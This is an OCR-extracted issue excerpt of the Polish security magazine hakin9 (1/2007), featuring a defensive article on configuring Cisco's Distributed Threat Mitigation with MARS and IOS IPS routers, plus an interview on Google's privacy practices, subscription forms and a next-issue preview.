Rozwiązania DTM

Łukasz Bromirski

stopień trudności

Obecne środowiska sieciowe stają się coraz bardziej wymagające

dla systemów bezpieczeństwa. Rosnące przepustowości

– zarówno dostępne w sieciach lokalnych jak i w styku

z Internetem, powodują że systemy mające ambicje działać

w czasie rzeczywistym stają przed coraz trudniejszym zadaniem.

Z artykułu dowiesz się...

• jak wygląda architektura DTM Cisco;
• jakie elementy powinieneś zastosować w sieci,

by rozwiązanie;

• spełniało swoje zadanie;
• czym system różni się od innych, prostszych

rozwiązań bezpieczeństwa;

• i kiedy uzupełnia inne systemy, w tym systemy

zarządzania i;

• monitoringu.

Powinieneś wiedzieć...

• w jaki sposób sieci IP przenoszą ruch;
• czym charakteryzują się poszczególne ele-

menty bezpieczeństwa;

• sieciowego - firewalle, systemy uwierzytelnia-

nia i monitoringu;

• przyda się podstawowa znajomość systemu

Cisco IOS.

background image

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

71

Unikalnym przykładem takiego sys-
temu jest Cisco MARS, o którym
szerzej w dalszej części artykułu.

Kolejny element systemu to de-

dykowane urządzenia pozwalają-
ce na aktywne zapobieganie ata-
kom sieciowym – czyli sensory IPS.
Systemy te z uwagi na swoją budo-
wę, działanie i ilość informacji które
analizują w trakcie normalnej pracy,
stają się doskonałym narzędziem do
szybkiego powstrzymywania dowol-
nego zagrożenia sieciowego – sta-
nowią bazę wiedzy na temat zagro-
żeń, dużo dokładniejszą niż dowolne
filtry ruchowe dostępne na routerach
czy w systemach firewall.

Ostatni element systemu to

urządzenia, które w ramach działa-
nia systemu DTM będą pod kontro-
lą systemu zarządzania – tj. w cza-
sie rzeczywistym będą mogły zo-
stać wyposażone w kryteria opisują-
ce ruch, który został zidentyfikowa-
ny jako wrogi i który należy zatrzy-
mać. W architekturze Cisco DTM ro-
lę takich urządzeń pełnią routery Ci-
sco ISR wyposażone w oprogramo-
wanie z systemem IPS.

Jak działa DTM?

Rozwiązanie DTM zostanie opisa-
ne na przykładzie rozwiązania Ci-
sco DTM.

Elementem centralnym jest sys-

tem Cisco MARS, który na podsta-
wie informacji spływających do nie-
go z całej sieci identyfikuje wspólnie
z systemami IPS konkretne zagroże-
nia czy niepożądane wzorce rucho-
we. Połączenie możliwości identyfi-
kacji i korelacji zdarzeń przez system
MARS, z możliwościami wykrywania
i klasyfikacji zagrożeń systemów Ci-
sco IPS daje administratorowi bez-
pieczeństwa wygodne i co najważ-
niejsze – sprawnie działające narzę-

Rysunek 1.

Menu systemu MARS

Rysunek 2.

Ekran konfiguracji urządzeń

Rysunek 3.

Pusta lista urządzeń zarządzanych

Jak widać, sam pomysł zautoma-

tyzowania pewnej sekwencji czyn-
ności nie jest nowy – dotychczaso-
we systemy tego typu działały na po-
dobnej zasadzie, ale brakowało im
szybkości, dokładności (opierały się
o konfigurowalne filtry pakietów w ro-
uterach i przełącznikach oraz reguły
ścian ogniowych, które z natury rze-
czy ograniczone są do informacji z
warstw 3-4 modelu ISO i pewnych
wybranych zagadnień normalizacyj-
nych dla poszczególnych protoko-
łów działających w warstwach wyż-
szych) oraz architektury zapewniają-
cej odpowiedni poziom bezpieczeń-
stwa (rekonfiguracja urządzeń odby-
wa się zwykle przez SNMP lub Tel-
net) i zintegrowanego raportowania
w czasie rzeczywistym.

Architektura DTM

Każdy system bezpieczeństwa, aby
móc efektywnie spełniać swoje za-
danie, powinien oprócz mechani-
zmów wykrywających i decyzyjnych,
komunikować się z administratorem.
Pierwszym składnikiem architektu-
ry DTM jest jak zawsze – system po-
zwalający na efektywne zarządzanie
całością rozwiązania.

Następny element, to rozwiąza-

nie pozwalające korelować ze sobą
informacje – serce architektury DTM.
Systemy monitorujące tego typu sta-
ją się coraz bardziej popularne, z
uwagi na fakt, że nawet pojedyn-
cze urządzenia sieciowe są w sta-
nie generować wiele różnego rodza-
ju informacji o swojej pracy – od ty-
powo utrzymaniowych (przepełnio-
ne interfejsy, krytyczny poziom pa-
mięci operacyjnej, zbyt duże obcią-
żenie procesorów sieciowych), przez
wszelkie związane z ich specyficzną
funkcjonalnością (np. trafienie pakie-
tu w listy kontroli dostępu, przekro-
czenie konkretnej wartości sesji dla
ścian ogniowych śledzących połą-
czenia, czy również gwałtowny skok
w ilości obsługiwanych połączeń gło-
sowych, utrata dostępu do zasobów
plikowych). Oczywiście w zależno-
ści od stopnia integracji oferowanej
przed producenta, systemy te waha-
ją się od bardzo płytko analizujące
docierające do nich informacje (lub
wymagające do skutecznej pracy
dużą ilość pracy integratorskiej, aby
dostosować ich bazę wiedzy do po-
siadanej infrastruktury) po zintegro-
wane z konkretnymi rozwiązaniami.

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

72

dzie do powstrzymania ataku w całej
zarządzanej przez niego sieci.

W momencie wykrycia zagroże-

nia przez system Cisco IPS, system
Cisco MARS informowany jest na
bieżąco o konkretnym typie i wszel-
kich identyfikowanych cechach tego
zagrożenia (adresy sieciowe, proto-
kół, cechy specyficzne dla protokołu
itd.). System MARS może w tym mo-
mencie wyzwolić jedną z własnych
reguł dotyczących obsługi tego typu
zdarzenia, w tym zapewnić automa-
tyczną dystrybucję opisu ataku (sy-
gnaturę) na zarządzane systemy IPS
– czyli routery (w tym konkretną gru-
pę routerów) z systemem IPS.

Oczywiście system osiąga naj-

większą skuteczność w sytuacji, gdy
pierwotny system IPS wykrywają-
cy atak posiada bogatą bazę sygna-
tur i anomalii – stąd zalecenie wyko-
rzystania dedykowanych sond Cisco
IPS (dedykowane urządzenia lub
karta do przełącznika Cisco Catalyst
6500), ale możliwe jest również wy-
korzystanie jako źródła informacji dla
systemu MARS routera Cisco ISR z
odpowiednio bogatym zestawem de-
finicji sygnatur.

Wraz z informacją o postaci za-

grożenia wysyłaną do routerów wy-
syłana jest również informacja o ak-
cji skojarzonej z wykryciem tego ty-
pu ruchu – może ona ograniczyć się
do alarmu, oraz do akcji bardziej ty-
powych – odrzucenia pakietu pasu-
jącego do sygnatury lub zresetowa-
niu połączenia, w którym potencjal-
nie szkodliwa zawartość została wy-
kryta.

Taka współpraca pomiędzy sen-

sorami IPS, systemem zarządzania
oraz routerami z systemem Cisco
IOS IPS możliwa jest dzięki dwóm
wspólnym mechanizmom – uniwer-
salnemu językowi opisywania sygna-
tury (Cisco SDF – Signature Defini-

tion File) oraz protokołowi transpor-
towemu (SDEE – Security Device

Event Exchange).

Przykład instalacji

rozwiązania – Cisco DTM

W tej części artykułu opiszemy przy-
kładową instalację systemu w oparciu
o pojedyncze elementy rozwiązania.

Rysunek 6.

Konfiguracja parametrów dostępowych do routera

Rysunek 7.

Dane dostępowe do IPS w routerze

Rysunek 4.

Wybór urządzenia – router Cisco

Rysunek 5.

Dodanie podsystemu IPS do routera

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

74

Konfiguracja routera

z funkcjonalnością Cisco

IOS IPS

Funkcjonalność obsługiwana jest na
routerach serii Cisco ISR 871, 1760,
1841, 2600, 3745, 3800, 7200, 7301
i 7401 z oprogramowaniem wspiera-
jącym mechanizmy bezpieczeństwa
oraz w wersji minimum 12.4(4)T. Na
routerze należy skonfigurować ob-
sługę protokołu HTTPS (SDEE wy-
korzystuje SSL jako protokół trans-
portowy) oraz SSH (MARS użyje po-
łączenia SSH do wywołania rekonfi-
guracji podsystemu IPS), a następ-
nie aktywować podsystem IPS.

Lokalne uwierzytelnianie połą-

czeń do routera z systemu MARS
(można oczywiście skorzystać z
uwierzytelniania w oparciu o system
TACACS+):

router(config)# username
login-dla-systemu-mars privilege 15
secret haslo-dla-marsa

Włączenie serwera HTTPS i usta-
wienie uwierzytelniania połączeń do
niego w oparciu o lokalną bazę użyt-
kowników.

router(config)# ip http secure-server
router(config)# ip http authentication
local

(oczywiście dostęp do serwera
HTTPS można następnie ograni-
czyć dodatkowo np. tylko do adre-
su IP systemu MARS, a także zasto-
sować inne mechanizmy chroniące
pracę routera, jest to jednak zagad-
nienie na osobny artykuł).

Następnie należy aktywować

funkcjonalność Cisco IOS IPS. Ro-
utery z oprogramowaniem zawiera-
jącym podsystemy bezpieczeństwa
dostarczane są z domyślnym zesta-
wem sygnatur zawartym w pliku at-
tack-drop.sdf, zapisanym na pamięci
flash. Jest to zestaw wyjściowy, któ-
ry w trakcie pracy urządzenia może
zostać wzbogacony o inne sygnatury
dosłane przez system MARS:

router(config)# ip ips notify sdee
router(config)# no ip ips notify log

Rysunek 10.

Tworzenie reguł dla Cisco DTM w CS-MARS

Rysunek 11.

Dodajemy regułę

Rysunek 8.

Konfiguracja sondy IPS serii 4200 w CS-MARS

Rysunek 9.

Opcje konfiguracji sond IPS w MARS

background image

Rozwiązania DTM (Distributed Threat Mitigation)

hakin9 Nr 1/2007

www.hakin9.org

75

router(config)# ip sdee subscriptions 3
router(config)# ip sdee alerts 2000
router(config)# ip ips sdf location
flash:attack-drop.sdf autosave
router(config)# ip ips name Hackin9_IPS

Konfigurację routera wieńczy włą-
czenie podsystemu IPS na wybra-
nych interfejsach – w naszym przy-
padku jest to zewnętrzny interfejs Gi-

gabitEthernet 0/0 routera:

router(config)# interface
gigabitethernet 0/0
router(config-if)# ip ips Hackin9_IPS in

Konfiguracja

dedykowanego systemu

Cisco IPS 5.x

Tak jak wspomniano wcześniej sonda
Cisco IPS zawierać będzie bibliotekę
ataków i z uwagi na to zaleca się, by
było to urządzenie dedykowane– do-
stępne w ramach serii sond Cisco IPS
4200 lub w postaci karty do Cisco Ca-
talyst 6500. Możliwe jest również za-
stosowanie w tej roli routera z funkcjo-
nalnością Cisco IOS IPS, ale z uwa-
gi na mniejszą ilość sygnatur nawet
w największym zestawie (w momen-
cie pisania tego artykułu jest to około
600 w porównaniu do ponad 2000 w
systemach dedykowanych) nie jest to
rozwiązanie optymalne.

Jedyna konfiguracja wymagana

na urządzeniu pracującym jako źró-
dło informacji dla systemu MARS jest
dodanie jego adresu IP do listy klien-
tów dla protokołu SDEE – w tej kon-
figuracji MARS będąc klientem po-
łączy się do sondy (serwera SDEE)
i pobierze potrzebne informacje na
podstawie otrzymanych logów.

Konfiguracja systemu

Cisco MARS

Konfiguracja systemu MARS skła-
dać się będzie z dodania dedykowa-
nych systemów IPS, wskazania któ-
re routery (grupa) może zostać prze-
konfigurowana w ramach architek-
tury DTM, oraz dostosowania reguł
wyzwolenia akcji w ramach DTM.

Aby dodać routery, po zalogowa-

niu się do konsoli należy z menu Ad-

min wybrać opcję Security and Moni-

tor Devices.

Rysunek 15.

Konfiguracja akcji – wybieramy DTM

Rysunek 12.

Opisujemy regułę

Rysunek 13.

Określamy kryteria wystąpienia

Rysunek 14.

Określamy sondy które mogoą powodować wyzwolenie alarmu

Następnie kliknąć Add: wybrać

odpowiedni rodzaj urządzenia (w
naszym przypadku Cisco IOS 12.x)
(Rysunek 4).

A następnie wypełnić pola po-

zwalające systemowi MARS otrzy-

mać połączenie do routera: kolej-
ny krok to dodanie funkcjonalno-
ści IPS (Add IPS) do tak zdefinio-
wanego routera ze wskazaniem lo-
ginu i hasła dla połączenia protoko-
łem SDEE:

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

76

Dodanie systemów IPS pełnią-

cych funkcje raportujące i biblio-
teczne dla systemu MARS nastę-
puje analogicznie – wybieramy od-
powiedni typ urządzenia (w naszym
przypadku sonda Cisco IPS 5.x se-
rii 4200): oraz wskazujemy dane po-
zwalające kontaktować się z sondą:

Przeprowadzony powyżej pro-

ces można oczywiście zautomaty-
zować – posługując się na przykład
plikiem seed z systemu CiscoWorks,

pozwalającego automatycznie wczy-
tać wiele urządzeń bez żmudnego
przepisywania danych.

Konfiguracja systemu

Cisco MARS –

podsystem DTM

Po skonfigurowaniu urządzeń uczest-
niczących w systemie DTM, należy
zdefiniować co konkretnie ma dziać
się w ramach tej funkcjonalności dla
wybranego zakresu sieci, protokołów

Rysunek 17.

Wskazanie które routery mają otrzymać uaktualnienia

Rysunek 18.

Zdefiniowana reguła

(istnieją też inne kryteria na podsta-
wie których można podjąć takie a nie
inne decyzje).

Z menu Rules należy wybrać

CS-MARS Distributed Threat Mitiga-

tion (Cisco DTM) (Rysunek 10) klik-
nąć przycisk Add: opisać tą konkret-
ną regułę (oprócz nazwy możliwe
jest również umieszczenie dłuższe-
go komentarza): po kliknięciu Next
przechodzimy do zdefiniowania kry-
teriów działania reguły – w systemie
MARS poszczególne zdarzenia zgła-
szane przez urządzenia (np. wyko-
nanie NAT na pakiecie, zablokowa-
nie pakietu, itp.) są łączone i korelo-
wane, by następnie zostać przejrza-
ne przez reguły (pozwalające powią-
zać ze zdarzeniem akcję). W naszym
przypadku kryterium jest bardzo sze-
rokie – ruch może mieć dowolny adres
źródłowy, docelowy oraz rodzaj usługi
(Rysunek 13).

Jako Device należy wybrać dedyko-

wane sondy IPS, służy do tego odpo-
wiednie okno wyboru zdefiniowanych
wcześniej urządzeń (Rysunek 14).

Po dokończeniu definicji kry-

teriów (można dodatkowo określić
słowa kluczowe które muszą wy-
stąpić w zgłaszanym przez sondę

Rysunek 16.

Wybór akcji do wyzwolenia – tylko alarm

background image

alarmie, poziom alarmu oraz ilość wystąpień danego
zdarzenia by MARS zareagował a także pory dnia i
nocy w których nadejście danego alarmu ma być bra-
ne pod uwagę przez system) z menu akcji wybiera-
my DTM (Rysunek 15) a następnie rodzaj akcji (alarm,
alarm+odrzucenie pakietów lub alarm+zresetowanie
połączenia) (Rysunek 16) i adresatów akcji – routery
z podsystemem IPS: następnie wracamy do główne-
go menu i z listy reguł zdefiniowanych przez użytkow-
nika wybieramy właśnie dodaną – należy ją jeszcze
aktywować (przez zaznaczenie przy nazwie regu-
ły ikonki v oraz kliknięcie przycisku ‘Activate’ w pra-
wym górnym rogu) po aktywowaniu reguł w systemie
MARS wystarczy poczekać na alarmy napływające
z sensorów IPS. Na podstawie zdefiniowanych reguł
MARS podejmie decyzje o rozpowszechnieniu i akty-
wowaniu odpowiednich sygnatur na routerach z pod-
systemem Cisco IOS IPS.

Poniżej przykład logu, w którym system MARS wy-

krył atak i dokonfigurował do routera pod adresem
192.168.247.196 trzy sygnatury – o identyfikatorach 1107,
2000 i 2004.

Podsumowanie

Architektura DTM, pozwalająca wzbogacić istnieją-
ce systemy bezpieczeństwa sieciowego o automa-
tyczną, realizowaną w czasie rzeczywistym rekon-
figurację pod kątem wykrywanych ataków stano-
wi ważny krok na drodze quasi-inteligentnych sys-
temów bezpieczeństwa, działających dużo dokład-
niej niż dostępne obecnie (i dające się policzyć na
palcach jednej ręki) systemy rekonfiguracji urządzeń
pozwalających na filtrowanie pakietów. Oczywiście,
należy spodziewać się rozszerzenia domeny zarów-
no urządzeń i oprogramowania raportującego (nieba-
wem jednym z nich będzie oprogramowanie na sta-
cje robocze i serwery Cisco Secure Agent, pełniące
role zaawansowanego systemu HIPS) jak i pozwala-
jącego na zatrzymywanie lub ograniczanie skutków
ataków (systemy firewall i VPN oraz zaawansowa-
ne przełączniki). W dobie sieci generujących setki,
tysiące i miliony zdarzeń w ciągu sekundy, nie mamy
już bowiem odwrotu – maszyny muszą zacząć wal-
czyć z maszynami. l

W Sieci:

• Cisco Security MARS: http://www.cisco.com/go/mars;
• Cisco IPS 5.x w urządzeniach serii 4200: http://www.

cisco.com/go/ips;

• Cisco IOS IPS: http://www.cisco.com/go/iosips;
• Przewodnik konfiguracji rozwiązania DTM: http://www.

cisco.com/en/US/products/ps6241/products_configura-
tion_example09186a008067a2b0.shtml.

www.hakin9.org

background image

www.hakin9.org

hakin9 Nr 1/2007

78

Wywiad

Peter Fleischer

utrzymuje stały kontakt z oso-

bami mającymi wpływ na ochronę prywatno-
ści Internautów w Europie, by zagwarantować,
że Google będzie reagować na europejskie
oczekiwania na tym polu. Peter ma 10 – letnie
doświadczenie w dziedzinie ochrony danych.
Wcześniej pracował w firmie Microsoft jako
kierownik ds. prywatności w Europie i dyrektor
ds. regulacji ustawowych. Peter kształcił się w
USA (Harvard College i Harvard Law School)
i w Niemczech (LMU – Monachium). Przez
ostatnie dziesięć lat pracował w Paryżu.

hakin9:

Bezpieczeństwo danych w sie-

ci jest obecnie bardzo gorącym tematem.
Jakie działania podejmuje Google, by zapew-
nić swoim użytkownikom bezpieczeństwo ich
danych w sieci?

PF:

Nasze produkty, od początku swego ist-

nienia, mają wbudowane mechanizmy ochrony
prywatności, żaden z nich również nie wykorzy-
stuje danych personalnych użytkowników bez
ich zgody. Zawsze też prosimy użytkowników by
potwierdzili chęć korzystania z serwisów wyma-
gających ujawnienia poufnych danych.

Nasze zasady prywatności piszemy pro-

stym językiem, unikamy prawniczego żargo-
nu. Kiedy nie zachodzi potrzeba, nie wymaga-
my od użytkowników aby podawali nam swoje
dane. Z większości naszych serwisów można
korzystać anonimowo.

h9:

Nawiązując do prostoty językowej: czy

byłby Pan w stanie opisać nam zasady bez-
pieczeństwa prywatności w dosłownie kilku

punktach? Tak, aby każdy mógł w przejrzy-
sty sposób zapoznać się z nimi i zrozumieć,
bez potrzeby wdrażania się w zawiłości języ-
ka prawniczego.

PF:

Tak, oczywiście. Po pierwsze nasze

powiadomienia są proste i czytelne. Projek-
tujemy produkty, które jasno informują użyt-
kowników, jaki maja wpływ na ich prywatność
i zawsze, gdy jest to możliwe, pozostawiają
wybór. Przykładem może być Google Toolbar,
w którym unikamy prawniczego żargonu; w in-
terfejsie zachowany jest też styl Google. Naj-
ważniejsza w przechowywaniu danych jest
dla nas przejrzystość. Projektujemy produkty,
które jasno informują użytkowników, jaki mają
wpływ na ich prywatność i zawsze, gdy jest to
możliwe, pozostawiają wybór.

Równie istotnym jest, by zasady prywatno-

ści były łatwe do czytania. Jest to proste, jed-
nostronicowe podsumowanie najważniejszych
informacji o prywatności, z odnośnikami do
kompletnych zasad prywatności i informacji
o poszczególnych produktach. „Warstwowa”
architektura tekstu jest czytelna i zrozumiała.

Staramy również upewnić się, że partne-

rzy, z którymi współpracujemy także prze-
strzegają zasad prywatności. Tak jest w przy-
padku Google Analytics, oferującemu serwi-
som WWW szczegółowe, anonimowe rapor-
ty statystyczne, dotyczące interakcji odwie-
dzających z tymi serwisami. Google wymaga,
aby zewnętrzni użytkownicy oprogramowania
Analytics publikowali zasady prywatności i in-

Wywiad z Peterem

Fleischerem

Peter Fleischer, kieruje pracami Google w zakresie ochory

prywatności w regionie EMEA (obszar Europy, Bliskiego Wschodu

i Afryki). Jego zadaniem jest dopilnownie, by firma Google chroniła

prywatność użytkowników swoich produktów, wywiązywała się

ze wszelkich zobowiązań prawnych i systematycznie podnosiła

standardy ochrony prywatności w Internecie.

background image

Wywiad

hakin9 Nr 1/2007

www.hakin9.org

79

formowali swoich użytkowników o tym, że serwis wyko-
rzystuje Cookiem, który gromadzi anonimowe dane.

h9:

Widzę, że Google kładzie duży nacisk, aby na

każdym kroku wyjaśnić, co się dzieje z prywatnymi dany-
mi użytkowników. Czy w związku z tym użytkownicy chęt-
niej sięgają po serwisy Google?

PF:

Wyjaśniamy szczegółowo jak działa innowacyj-

ny serwis, co przynosi bardzo dobre efekty. Przykładem
może być Gmail – darmowy serwis poczty elektronicznej,
utrzymywany z „kontekstowych reklam”, bazujących na sło-
wach w e-mailach. Wystąpiły pewne wątpliwości dotyczą-
ce prywatności podczas premiery – zadawano pytania, czy
Google czyta e-maile, aby wyświetlać reklamy? Te wątpli-
wości zniknęły, gdy użytkownicy zapoznali się z działaniem
Gmail: e-maile są czytane przez automatyczne oprogramo-
wanie, nie przez ludzi. Działa na zasadzie reklam dostoso-
wanych do grupy targetowej, które pojawiają się gdy korzy-
stamy z wyszukiwarki Google. Jest podobny do oprogramo-
wania skanującego wirusy oraz spam. Poza tym, reklamy
są dynamiczne i w czasie rzeczywistym, nie są tworzone
stałe zapisy i profile. Wierzymy, że nasi użytkownicy wolą
widzieć interesujące dla nich reklamy, zamiast losowo poja-
wiające się reklamówki.

h9:

Rozumiem, że prawo chroni dane osobowe. Ale

co zrobić w przypadku, gdy rząd danego państwa wyda-
je polecenie monitorowania danych?

PF:

Google sprzeciwia się nadmiernym żądaniom do-

stępu do danych ze strony rządu. Przytoczę przypadek, gdy
amerykański Departament Sprawiedliwości zaangażował
się w proces dotyczący konstytucjonaliści amerykańskiej
ustawy z 1998r. o ochronie dzieci w Internecie. Celem było
określenie, czy filtry programowe byłyby skuteczne w reali-
zowaniu założeń prawa, bez ograniczania swobody wypo-
wiedzi. Departament Sprawiedliwości wysłał wezwanie do
Google, a także do AOL, Yahoo, MSN i wielu innych firm.
Od Google żądał przekazania miliardów adresów URL i mi-
lionów zapytań do wyszukiwarki. Google zdecydował się na
spór w sądzie, aby sprzeciwić się temu wezwaniu. W uza-
sadnieniu Google podał, że wezwanie było przesadne, bez
znaczenia dla sprawy, naruszało prywatność użytkowników
i zagrażało własności firmy. Sędzia Ware orzekł werdykt na
korzyść Google (nakazując przedstawienie 5000 adresów
URL żadnych zapytań). Jest to ważny precedens prawny
w walce o zrównoważenie rządowego dostępu do informa-
cji z oczekiwaniami użytkowników w zakresie prywatności.

Zanim wdrożymy nową usługę (np. Google Image

Search lub Google Earth) upewniamy się, że jest ona stu-
procentowo bezpieczna dla użytkowników. Nie możemy
sobie pozwolić, by wydać cokolwiek, co mogłoby powo-
dować niebezpieczeństwo dla prywatności. Pracujemy też
nad zachowaniem prywatności w Web 2.0. Komputery-
zacja zdąża w kierunku modelu usługowego, gdzie użyt-
kownicy coraz częściej decydują się na przechowywanie
swoich Nawych i uruchamianie aplikacji online, takich jak
poczta przez WWW, dokumenty, kalendarze, czaty, blogi
itd. Przykładowe usługi, które przechowują dane użytkow-
ników centralnie, ale mają dostęp z każdego miejsca to:

• Poczta przez WWW (MSN Hotmail, Yahoo Mail,

Gmail, Web. De FreeMail);

• Przechowywanie plików online (Yahoo Brief Case,

Microsoft FolderShare, AOL Xdrive);

• Kopie zapasowe online – automatycznie pobierają pli-

ki z prywatnego komputera i tworzą kopie zapasowe
na scentralizowanych serwerach.

Logowanie z dowolnego komputera, telefonu komórkowe-
go lub urządzenia podłączonego do Internetu, dające na-
tychmiastowy dostęp do wszystkich aplikacji i danych, z
możliwością ich przeszukania, co jest bardzo cenne dla
użytkowników. Funkcja SAC, czyli wyszukiwanie między
komputerami) w Google Desktop to mały przykład duże-
go trendu.

h9:

Jakie działania podejmuje Google, aby zapewnić

komfort klientom, którzy zdecydowali się przenieść dane
ze swojego komputera na wasz serwer?

PF:

Ostrzeżenia,że pliki zostaną przeniesione do ser-

werów Google Desktop są bardzo czytelne. Użytkowni-
cy mogą precyzyjnie określić, które dane chcą udostęp-
nić, a których nie chcą udostępniać. Umieściliśmy rów-
nież przycisk, za pomocą którego można łatwo skasować
wszystkie własne pliki z serwerów Google Desktop.

h9:

W Stanach Zjednoczonych dane w komputerze

PC użytkownika w jago domu są silnie chronione przez
czwartą poprawkę do Konstytucji. Aby je udostępnić, nie-
zbędny jest sądowy nakaz przeszukania. Jednak dane
na serwerach korporacyjnych mają tę ochronę dużo słab-
szą – jest ona zapewniana przez ustawę o prywatności
komunikacji elektronicznej. Stawia ona dużo niższe wy-
mogi, gdy chodzi o rządowy dostęp do danych określone-
go typu – w tym przypadku wystarczy jedynie wezwanie.
Przepisy na świecie nie zapewniają takiego samego po-
ziomu ochrony. Co zrobić, aby zmienić ten stan rzeczy?

PF:

Google uważa, że dane użytkowników powinny

podlegać takiej samej ochronie prywatności, niezależnie
od tego, czy są przechowywane na ich własnych kompute-
rach, czy na serwerach stron trzecich. Aby usunąć przyto-
czoną anomalię prawną, Google wspiera stworzenie fede-
ralnej ustawy o prywatności konsumentów i zaktualizowa-
nie ustawy o prywatności komunikacji elektronicznej.

W Unii Europejskiej kwestie ochrony danych w trzecim

filarze regulacji wzbudzają poważny niepokój. Przepisy
o przechowywaniu danych (Europa, USA, inne części
świata) podniosą stawkę. Usługi Web 2.0 zwiększa gwał-
townie liczbę danych na serwerach, wymagane będzie ich
utrzymanie, a rządy i służby odpowiedzialne za egzekwo-
wanie prawa będą chciały mieć do nich dostęp. Google
już spotkał się w sądzie z Amerykańskim Departamentem
Sprawiedliwości w sprawie gigantycznego przekazania
danych. Google chce pracować ze wszystkim zaintereso-
wanymi stronami, aby zagwarantować, że zasady ochrony
danych będą szanowane w świecie Web 2.0: To nasz biz-
nes i nasze wartości. l

Rozmawiała: Marta Ogonek

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

4

119

3

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży w połowie stycznia 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

2/2007

w następnym numerze

między innymi:

Zapowiedzi

StMichael – protektor integralności

Linux Kernel

Wiele zabezpieczeń Linuksa nie chroni bezpośrednio jądra co umożliwia zło-
śliwym programom, działającym tak jak np.: robak win32 na wślizgnięcie się
do systemu. StMichael może chronić jądro przeciwko rootkitom np.: przez
monitorowanie licznych fragmentów jądra. Rodrigo Rubira Branco przedsta-
wi jak korzystać z StMichaela i w jaki sposób chroni on nasz system.

Bezpieczne programowanie

serwerów sieciowych

System oprogramowania trapdoor2 jest przykładem na opisanie technik pro-
gramistycznych jako ochrony przed atakami przy użyciu języka C. Andre-
as Krennmair opisze system oprogramowania do bezpiecznego wywoływa-
nia niezdefiniowanych komend ponad siecią używając metody autentykacji i
środka bezpieczeństwa warstwy transportowej.

Techniki maskowania obecności w GNU/Linux

W artykule omówimy przechwytywanie wywołań otwarcia jakiegoś pliku,
sprawdzenie jego nazwy oraz opiszemy co się dzieje w przypadku jeśli
nazwa zgadza się z jakąś wymyśloną wcześniej. Artykuł przedstawia pod-
stawowe techniki maskowania użytkownika w systemie

Obrona

Na CD:

• hakin9.live - butowalna dystrybucja Linuksa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień

poruszanych w artykułach;

• specjalne wersje komercyjnych programów;
• e-books – książki elektroniczne;
• kurs na certyfikat Cisco CCNA.

Atak

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 21 (01 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Guzy kosci 21 01 2007
Hakin9 28 (08 2007) PL
jakosc, jakosc 21 01 2007[1], PYTANIA Z ZARZĄDZANIA JAKOŚCIA
Hakin9 30 (10 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 33 (01 2008) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL

więcej podobnych podstron